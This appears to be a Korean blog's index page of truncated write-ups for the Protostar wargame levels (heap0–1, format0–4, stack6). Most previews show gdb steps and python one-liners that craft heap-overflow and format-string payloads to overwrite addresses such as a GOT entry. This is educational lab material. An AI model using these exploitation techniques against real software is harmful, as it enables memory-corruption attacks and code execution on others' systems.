본문 바로가기

system

[protostar]heap1.c strcpy함수에서 heap오버플로가 나타날 것임을 알 수 있다. >gdb heap1 >>disas main >>b *0x0804855a #b *main+161와 같음 #strcpy 2번째 일어나는 부분 >>r AAAA BBBB #20만큼 채워져있는 것 확인 가능 >>x 0x080483cc #puts jmp *0x8049774가 들어 있음 >>x/x 0x08049774 #0x8049774 : 0x080483d2 >>p winner #winner함수 주소 구함 #0x8048494 >./heap1 `python -c 'print "A"*20+"\x74\x97\x04\x08"'` `python -c '\x94\x84\x04\x08'` gdb실행해서 푼다. 마지막 실행에선 20을 채우고 put주소를 넣고, wi.. 더보기
[protostar]heap0 This level introduces heap overflows and how they can influence code flow. This level is at /opt/protostar/bin/heap0 #include #include #include #include #include struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; d = mallo.. 더보기
[protostar]format4 %p format4 looks at one method of redirecting execution in a process. Hints: objdump -TR is your friend This level is at /opt/protostar/bin/format4 대충 보니, 여기에서 코드를 실행하면서 hello함수를 실행하도록 수정해야할 것 같다. exit함수가 호출될 때 hello함수가 오도록 수정해봐야겠다. (python -c 'print "AAAA" + "%08x"*4) | ./format4 이걸로 한번 확인해보니 4번째에 AAAA가 확인된다. 이제 주소를 확인해봐야 한다. ojdump -TR format4 | grep exit 아까 힌트에 있었던 걸 사용하려고 한다. 알고자 하는 주소를 grep.. 더보기
[protostar]format3 This level advances from format2 and shows how to write more than 1 or 2 bytes of memory to the process. This also teaches you to carefully control what data is being written to the process memory. This level is at /opt/protostar/bin/format3 버퍼 크기가 512이고 버퍼를 입력 받는다. target이 0x01025544일 때 문제가 풀린다. target위치부터 봐야겠다. objdump -t ./format3 | grep target target의 위치를 보니, '080496f4'가 나온다. 이번에도 target값을 바.. 더보기
[protostar]format2 This level moves on from format1 and shows how specific values can be written in memory. This level is at /opt/protostar/bin/format2 버퍼를 채우고 target이 64이 되도록 해야할 것 같다. objdump -t ./format2 | grep target 일단 format1에서 풀었던 것처럼 target의 위치를 확인한다. (검증은 gdb ./format2 disas vuln 위의 두 차례로 확인 가능) (python -c "print 'AAAA'+ '\xe4\x96\x04\x08' + '%8x%8x%8x%32c'") | ./format2 target의 위치를 넣고 위의 명령어를 실행한다. 4+4+8.. 더보기
[protostar]Format1 This level shows how format strings can be used to modify arbitrary memory locations. Hints: objdump -t is your friend, and your input string lies far up the stack :) This level is at /opt/protostar/bin/format1 힌트를 보니 objdump -t 가 있다. >objdump -t format1 | grep target format1에서 target 주소를 알아낸다. ./format1 $(python -c "print 'AAAA'+'%x:'*153") 41414141이 151번째, target이 152번째에 오게 하면 된다 target의 값을 변조.. 더보기
[protostar]format0 This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs. Hints: This level should be done in less than 10 bytes of input. "Exploiting format string vulnerabilities" This level is at /opt/protostar/bin/format0 - -> strings에 대한 포맷을 소개하고 공격자가 strings포맷 프로그램 흐름 실행을 어떻게 변경하는지에 대해 소개하한다. format0.c #include #include #include #include void.. 더보기
[protostar]stack6.c 문제 Stack6 looks at what happens when you have restrictions on the return address. This level can be done in a couple of ways, such as finding the duplicate of the payload (objdump -s) will help with this), or ret2libc, or even return orientated programming. It is strongly suggested you experiment with multiple ways of getting your code to execute here. This level is at /opt/protostar/bin/stack6 .. 더보기

반응형
LIST